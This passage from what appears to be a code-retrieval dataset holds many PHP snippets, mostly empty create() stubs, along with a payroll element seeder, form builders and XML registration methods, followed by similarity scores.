]);\n }", "public function run()\n {\n $element = new Element();\n\t\t$element->name='Gaji Pokok';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='ALPHA';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Tetap';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='THR';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan ASTEK';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan Tunj ASTEK';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Premi BPJS Kesehatan Employer';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Pensiun 3';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan BPJS Kesehatan';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Kacamata';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan BPJS TK JP Employee';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan Asuransi Jiwa';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Lembur';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Asuransi Jiwa';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Obat';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Obat';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Iuran Koperasi';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan Koperasi';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Kost';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Makan';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Tunjangan Kost';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Makan Lembur';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Perabot';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Tunjangan Perabot';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Kacamata';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Lain Lain Gross';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Lain Lain Net';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Lain Lain';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Transport';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Transport Lembur';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Transport Libur';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Penempatan';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Ponsel';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Operational Head Allowance';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan OPEX';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Incentive ACP';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan COC';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Incentive C2C';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Bunga';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Kehadiran';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Sumbangan Marriage';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Sumbangan Condolence';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Cuti';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Driver';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Multiguna';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Operation';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Incentive';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Rapel Tetap';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan Reguler';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan Pinjaman COC';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan Loan Medical';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan Asuransi';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan COM';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan Soft Loan';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan LCOP';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan Asuransi CMOP';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Incentive Remedial';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Incentive Tarikan';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Koreksi Incentive';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Bonus';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Recovery';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Konsistensi';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan Pensiun';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Pensiun 2';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Rapel Gaji Pokok';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Perawatan';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Bagasi';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Pindah';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Incentive GAP';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Bunga Asuransi';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Pindah';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Rumah';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Bagasi';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Transport Lembur';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Pendidikan Anak';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Perjalanan Cuti';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Perawatan';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Sumbangan';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Cuti';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Transport';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Makan Lembur';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Makan';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Pendidikan Anak';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Umroh';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Perjalanan Cuti';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Asuransi Kecelakaan Kerja';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka Flexi';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Uang Muka ACP';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Asuransi Kecelakaan Kerja';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t \t$element->name='Tunjangan Rumah';\n\t \t$element->type='Allowance';\n\t \t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Tunjangan Pajak';\n\t\t$element->type='Allowance';\n\t\t$element->save();\n\t\t$element = new Element();\n\t\t$element->name='Potongan Pajak';\n\t\t$element->type='Deduction';\n\t\t$element->save();\n\t\t\n }", "function form_init_data()\r\n {\r\n $this->set_element_value(\"Swimmers\", FT_CREATE) ;\r\n $this->set_element_value(\"Swim Meets\", FT_CREATE) ;\r\n $this->set_element_value(\"Swim Teams\", FT_CREATE) ;\r\n }", "public function test_create__invalid_class()\n {\n\n (new ElementFactory())->create(['attributes' => ['type' => ElementFactory::class, 'name' => '']]);\n }", "function form_init_elements()\r\n {\r\n // Swimmer handling\r\n $swimmer = new FERadioGroup(\"Swimmers\",\r\n array(\r\n ucfirst(FT_CREATE) => FT_CREATE\r\n ,ucfirst(FT_IGNORE) => FT_IGNORE)) ;\r\n $swimmer->set_br_flag(false) ;\r\n $this->add_element($swimmer) ;\r\n\r\n // Swim Meets handling\r\n $swimmeets = new FERadioGroup(\"Swim Meets\",\r\n array(\r\n ucfirst(FT_CREATE) => FT_CREATE\r\n ,ucfirst(FT_IGNORE) => FT_IGNORE)) ;\r\n $swimmeets->set_br_flag(false) ;\r\n $this->add_element($swimmeets) ;\r\n\r\n // Swim Teams handling\r\n $swimteams = new FERadioGroup(\"Swim Teams\",\r\n array(\r\n ucfirst(FT_CREATE) => FT_CREATE\r\n ,ucfirst(FT_IGNORE) => FT_IGNORE)) ;\r\n $swimteams->set_br_flag(false) ;\r\n $this->add_element($swimteams) ;\r\n }", "public function create(){\n\t\t//\n\t}", "public function create(){\n\t\t//\n\t}", "public function create(){\n\t\t//\n\t}", "public function create(){\n\t\t//\n\t}", "public static function _register()\n {\n self::assignElements(['SaleTemplateID' => ['type' => 'int', 'cardinality' => '0..*']], parent::NAME);\n self::assignAttributes([]);\n }", "public static function _register()\n {\n self::assignElements(['Dispute' => ['type' => 'DisputeType', 'xmlns' => self::XMLNS, 'cardinality' => '0..*']], parent::NAME);\n self::assignAttributes([]);\n }", "public function create_element_structure() {\n\n\t\t\t// Add name of the class to deserialize it again when the element is sent back to the server from the web page\n\t\t\t$this->config['php_class'] = get_class( $this );\n\t\t\t// element id\n\t\t\t$this->config['id'] = 'woo_shortcodes';\n\t\t\t// element name\n\t\t\t$this->config['name'] = __( 'Woo Shortcodes', 'oxo-core' );\n\t\t\t// element icon\n\t\t\t$this->config['icon_url'] = \"icons/sc-text_block.png\";\n\t\t\t// css class related to this element\n\t\t\t$this->config['css_class'] = \"oxo_element_box\";\n\t\t\t// element icon class\n\t\t\t$this->config['icon_class'] = 'oxo-icon builder-options-icon oxoa-shopping-cart';\n\t\t\t// tooltip that will be displyed upon mouse over the element\n\t\t\t//$this->config['tool_tip'] \t\t= 'Creates a Woo Featured Element';\n\t\t\t// any special html data attribute (i.e. data-width) needs to be passed\n\t\t\t// drop_level: elements with higher drop level can be dropped in elements with lower drop_level, \n\t\t\t// i.e. element with drop_level = 2 can be dropped in element with drop_level = 0 or 1 only.\n\t\t\t$this->config['data'] = array( \"drop_level\" => \"4\" );\n\t\t}", "protected function CreateObjects() {\n\t\t$this->lblId = $this->mctLogin->lblId_Create();\n\t\t$this->lstPerson = $this->mctLogin->lstPerson_Create();\n\t\t$this->txtUsername = $this->mctLogin->txtUsername_Create();\n\t\t$this->txtPassword = $this->mctLogin->txtPassword_Create();\n\t\t$this->chkIsEnabled = $this->mctLogin->chkIsEnabled_Create();\n\t}", "public function create()\n\t{\n\n\n\t\t//\n\t}", "public function create()\n\t{ \n \n\t}", "public function init()\n\t{\n\t\t$firstname = $this->createElement('text', 'firstname')\n\t\t\t\t\t ->setLabel('First Name')\n\t\t\t \t\t ->setAttrib('class', 'medium')\n\t\t\t\t\t ->setRequired(TRUE)\n\t\t\t\t\t ->addFilters(array('StringTrim'))\n\t\t\t\t\t ->addValidator('NotEmpty')\n\t\t\t\t\t ->setDecorators($this->decorators);\n\t\t$lastname = $this->createElement('text', 'lastname')\n\t\t\t\t\t ->setLabel('LastName')\n\t\t\t \t\t ->setAttrib('class', 'medium')\n\t\t\t\t\t ->setRequired(TRUE)\n\t\t\t\t\t ->addFilters(array('StringTrim'))\n\t\t\t\t\t ->addValidator('NotEmpty')\n\t\t\t\t\t ->setDecorators($this->decorators);\n\t\t // Email : input text => class medium\n\t\t$email = $this->createElement('text', 'email')\n\t\t\t\t\t ->setLabel('Email')\n\t\t\t \t\t ->setAttrib('class', 'medium')\n\t\t\t\t\t ->setRequired(TRUE)\n\t\t\t\t\t ->addFilters(array('StringTrim'))\n\t\t\t\t\t ->addValidators(array('NotEmpty', 'EmailAddress'))\n\t\t\t\t\t ->setDecorators($this->decorators);\n\t\t // Username : input text => class medium\n\t\t$username = $this->createElement('text', 'username')\n\t\t\t\t\t ->setLabel('Username')\n\t\t\t \t\t ->setAttrib('class', 'medium')\n\t\t\t\t\t ->setRequired(TRUE)\n\t\t\t\t\t ->addFilters(array('StringTrim'))\n\t\t\t\t\t ->addValidator('NotEmpty')\n\t\t\t\t\t ->setDecorators($this->decorators);\n\t\t // Password : input text => class medium\n\t\t$password = $this->createElement('password', 'password')\n\t\t\t\t\t ->setLabel('Password')\n\t\t\t \t\t ->setAttrib('class', 'medium')\n\t\t\t\t\t ->addFilters(array('StringTrim'))\n\t\t\t\t\t ->setDecorators($this->decorators);\n\t\t // Retype your password : input password => class medium\n\t\t$password_confirm = $this->createElement('password', 'password_confirm')\n\t\t\t\t\t\t->setLabel('Retype your password')\n\t\t\t\t\t\t->setAttrib('class', 'medium')\n\t\t\t\t\t\t->setDescription('Retype your password')\n\t\t\t\t\t\t->addFilter('StringTrim')\n\t\t\t\t\t\t->addValidators(array(\n\t\t\t\t\t\t\tarray('NotEmpty', true),\n\t\t\t\t\t\t\tarray('Identical', true, array('token' => 'password'))\n\t\t\t\t\t\t))\n\t\t\t\t\t ->setDecorators($this->decorators);\t\n\t\t\t\t\t\t\t\n\t\t$option_profile_id = $this->createElement('hidden', 'option_profile_id');\n\t\t\t\t\t\t\n\t\t$submit = $this->createElement('submit', 'submit')\n\t\t\t\t\t ->setAttrib('class', 'button')\n\t\t\t\t\t ->setDecorators(array('ViewHelper'));\n\t\t\t\t\t \n\t\t// add Elements\n\t\t$this->addElements(array(\n\t\t\t// account\n\t\t\t$username,\n\t\t\t$password,\n\t\t\t$password_confirm,\n\t\t\t// profile\n\t\t\t$firstname,\n\t\t\t$lastname,\n\t\t\t$email,\n\t\t\t$option_profile_id,\n\t\t\t$submit\n\t\t));\n\t\t\n\t\t// add group profile\n\t\t$this->addDisplayGroup(array(\n\t\t\t'username',\n\t\t\t'password',\n\t\t\t'password_confirm'\n\t\t), 'account', array( 'legend' => 'Account' ));\n\t\t// set decoration Fieldset group action\n\t\t$account = $this->getDisplayGroup('account')\n\t\t\t\t\t ->setDecorators(array( \n\t\t\t\t \t'FormElements',\n\t\t\t\t \t'Fieldset'\n\t\t\t ));\n\t\t\n\t\t// add group account\n\t\t$this->addDisplayGroup(array(\n\t\t\t'firstname',\n\t\t\t'lastname',\n\t\t\t'email',\n\t\t\t'option_profile_id',\n\t\t), 'profile', array( 'legend' => 'Profile' ));\n\t\t// set decoration Fieldset group action\n\t\t$profile = $this->getDisplayGroup('profile')\n\t\t\t\t\t ->setDecorators(array( \n\t\t\t\t \t'FormElements',\n\t\t\t\t \t'Fieldset'\n\t\t\t ));\n\t\t\n\t\t// add group\n\t\t$this->addDisplayGroup(array(\n\t\t\t'submit',\n\t\t), 'button')\n\t\t->getDisplayGroup('button')\n\t\t->setDecorators(array('FormElements'));\t\t \n\t}", "function Create()\r\n\t{\r\n\r\n\t}", "public static function _register()\n {\n self::assignElements([\n 'ItemRevised' => ['type' => 'bool'],\n 'BuyItNowAdded' => ['type' => 'bool'],\n 'BuyItNowLowered' => ['type' => 'bool'],\n 'ReserveLowered' => ['type' => 'bool'],\n 'ReserveRemoved' => ['type' => 'bool']\n ], parent::NAME);\n\n self::assignAttributes([]);\n }", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create(){\n\t}", "public function create()\n\t{\n \n \n\t}", "public function create()\n {\n if (! Gate::allows('element_create')) {\n return abort(401);\n }\n return view('elements.create');\n }", "public function create()\n\t{\n\t\t//\n\n\t\t\n\n\t}", "public function actionCreate()\n {\n $model = $this->elementAccessForm;\n $tree = $this->authTree->getArrayAuthTreeStructure($this->authTree->getAuthTree());\n\n if ($model->load(Yii::$app->request->post()) && $saveId = $model->save()) {\n return $this->redirect(['view', 'id' => $saveId]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n 'tree' => $tree,\n ]);\n }\n }", "function form_init_elements() \r\n {\r\n //we want an confirmation page for this form.\r\n //$this->set_confirm();\r\n\r\n //Crea una caja de texto llamada nombre y longitud 50\r\n $elemT = new FEText(\"Asunto\", FALSE, 50);\r\n //$elemT->set_style_attribute('align', 'right');\r\n //Le asignamos el id nombre y la tecla de acceso n (ctrl+n)\r\n $elemT->set_attribute(\"id\",\"asunto\");\r\n $elemT->set_attribute(\"accesskey\",\"n\"); \r\n //Añade en el contenedor formulario el elemento creado e inicializado\r\n $this->add_element($elemT);\r\n\t\r\n //Creamos un Area de Texto llamada comentario\r\n $elemTA = new FETextArea(\"Comentario\", FALSE, 10, 60,\"500px\", \"100px\");\r\n $elemTA->set_attribute('wrap', 'physical');\r\n //Le asignamos el id email y la tecla de acceso c (ctrl+c) \r\n $elemTA->set_attribute(\"id\",\"comentario\");\r\n $elemTA->set_attribute(\"accesskey\",\"d\");\r\n //Añade en el contenedor formulario el elemento creado e inicializado\r\n $this->add_element($elemTA);\r\n\r\n //Añade un campo oculto llamado id. En ocasiones este campo se utiliza para indicar ciertas operaciones.\r\n //OJO!! es un punto sensible porque el usuario podría cambiar su valor de forma inexperada para el código.\r\n// $this->add_hidden_element(\"id\");\r\n\r\n //Añade un boton con la acción submit\r\n $submit = $this->_formatElem(\"base_SubmitButton\", \"Aceptar\", \"submit\", agt(\"miguel_Enter\"));\r\n //$submit->set_attribute('id',''); \r\n $submit->set_attribute('accesskey','e'); \r\n $this->add_element($submit); \r\n\t\t\t\t\r\n\t\t\t\t$this->add_hidden_element('status');\r\n \t\t$this->set_hidden_element_value('status', 'new');\r\n }", "public function create()\n\t{\n\t\t\n\t\t//\n\t}", "public function create()\n\t{\n\n\n }", "public function addElements()\n {\n $this->add(array(\n 'name' => 'place',\n 'type' => 'Zend\\Form\\Element\\Text',\n 'attributes' => array(\n 'required' => true,\n 'id' => 'name',\n 'class' => 'form-control',\n 'placeholder' => 'Enter type name'\n ),\n 'options' => array(\n 'label' => 'Name',\n 'label_attributes' => array(\n 'class' => 'control-label'\n ),\n\n ),\n ));\n }", "public function create()\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function create()\n\t{\n\n\n\t}", "public static function _register()\n {\n self::assignElements([\n 'UserID' => ['type' => 'UserIDType', 'xmlns' => self::XMLNS],\n 'ApprovedBiddingLimit' => ['type' => 'AmountType', 'xmlns' => self::XMLNS],\n 'DeclinedComment' => [],\n 'Status' => ['type' => 'BidderStatusCodeType', 'enum' => true, 'xmlns' => self::XMLNS]\n ], parent::NAME);\n\n self::assignAttributes([]);\n }", "public function create()\n {\n //\n\t\t\n }", "public function create()\n\t {\n\t //\n\t }", "public function create()\n {\n\n\n\n }", "abstract protected function create ();", "private function addElements(): void\n {\n // Add additional form fields\n $this->add([\n 'name' => 'masterFile',\n 'type' => Checkbox::class,\n 'attributes' => [\n 'id' => 'masterFile',\n 'class' => 'form-check-input',\n ],\n 'options' => [\n 'label' => 'Create master export file',\n 'label_attributes' => [\n 'class' => 'form-check-label',\n ],\n ],\n ]);\n\n $this->add([\n 'name' => 'debugTranslations',\n 'type' => Checkbox::class,\n 'attributes' => [\n 'id' => 'debugTranslations',\n 'class' => 'form-check-input',\n ],\n 'options' => [\n 'label' => 'Create debug translations',\n 'label_attributes' => [\n 'class' => 'form-check-label',\n ],\n ],\n ]);\n }", "public function create(){ \n //\n }", "public function create()\n { \n \n }", "public function create()\n\t{\n\t //\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}" ]
[ "0.64054894", "0.64054894", "0.6003076", "0.58522654", "0.57850796", "0.57398254", "0.5706173", "0.5689124", "0.56776774", "0.56700766", "0.5660861", "0.5624495", "0.5624495", "0.5624495", "0.5624495", "0.5564325", "0.55449945", "0.55159026", "0.5499243", "0.5490656", "0.54876107", "0.54833925", "0.5481784", "0.5476241", "0.5475507", "0.5475507", "0.5475507", "0.5475507", "0.5475507", "0.5475507", "0.5475507", "0.5475507", "0.5466348", "0.54580724", "0.5439862", "0.5436754", "0.5428893", "0.5413372", "0.53969157", "0.53893155", "0.53850615", "0.53788173", "0.53745025", "0.5372846", "0.5365193", "0.536397", "0.5355805", "0.53552437", "0.53362113", "0.53345996", "0.53302056", "0.5328914", "0.5327485", "0.5327485", "0.5327485", "0.5327485", "0.5327485", "0.5327485", "0.5327485", "0.5327485", "0.5327485", "0.5327485", "0.5327485", "0.5327485", "0.5327485", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624", "0.53242624" ]
0.0
-1
Creates link for listing template
public function getUrl() { if ($this->isVisible()) { $sort = $this->isSortAsc() ? Sorter::DESC : Sorter::ASC; } else { $sort = $this->ascByDefault ? Sorter::ASC : Sorter::DESC; } return $this->dataGrid->getControl()->link('this', ['orderBy' => $this->sortableColumn, 'sort' => $sort]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function _erpal_book_helper_book_templates_links(&$data) {\n //book template list context\n $query = array('destination' => $_GET['q'], 'field_is_template' => 1);\n erpal_make_action($data, t('Create a new template'), 'node/add/erpal-book', $query);\n _erpal_book_helper_book_global_menu_tabs($data, false, array('templates')); \n}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "function renderFilterCreationLink() {\n\t\t$content = tslib_CObj::getSubpart($this->fileContent, '###NEWFILTER_LINK###');\n\n\t\tif (!isset($this->conf['newfilter_link.']['form_url.']['parameter'])) {\n\t\t\t$this->conf['newfilter_link.']['form_url.']['parameter'] = $GLOBALS['TSFE']->id;\n\t\t}\n\t\t$this->conf['newfilter_link.']['form_url.']['returnLast'] = 'url';\n\t\t$content = tslib_cObj::substituteMarker($content, '###FORM_URL###', $this->cObj->typolink('', $this->conf['newfilter_link.']['form_url.']));\n\n\t\treturn $content;\n\t}", "public function indexAction()\n {\n $pagination = $this->common->getList('Links', null, 'position');\n return $this->render('SiteAdminBundle:Links:index.html.twig', array(\n 'pagination' => $pagination\n ));\n }", "public function renderList()\n {\n $this->template->articles = $this->articleManager->getArticles();\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "function create_links() {\n $total_rows = $this->total_rows;\n if ($total_rows == 0) {\n return '';\n }\n\n // Calculate the total number of pages\n $CI = & get_instance();\n $_quantity = $CI->_quantity;\n $per_page = $this->per_page;\n $num_pages = ceil($total_rows / $per_page);\n\n // Is there only one page? Hm... nothing more to do here then.\n if ($num_pages == 1) {\n return '';\n }\n\n // Determine the current page number.\n $_offset = $CI->_offset;\n $cur_page = $_quantity == -1 ? -1 : floor($CI->_offset / $per_page) + 1;\n\n // And here we go...\n $output = '';\n\n // Render the \"First\" link\n if ($cur_page != 1) {\n $i = 0;\n $output .= $this->first_tag_open . $i . $this->first_tag_close;\n } else {\n $output .= \"<li class='null'></li>\";\n }\n\n // Render the \"previous\" link\n if ($cur_page != 1 && $_quantity != -1) {\n $i = $_offset - $per_page;\n $output .= $this->prev_tag_open . 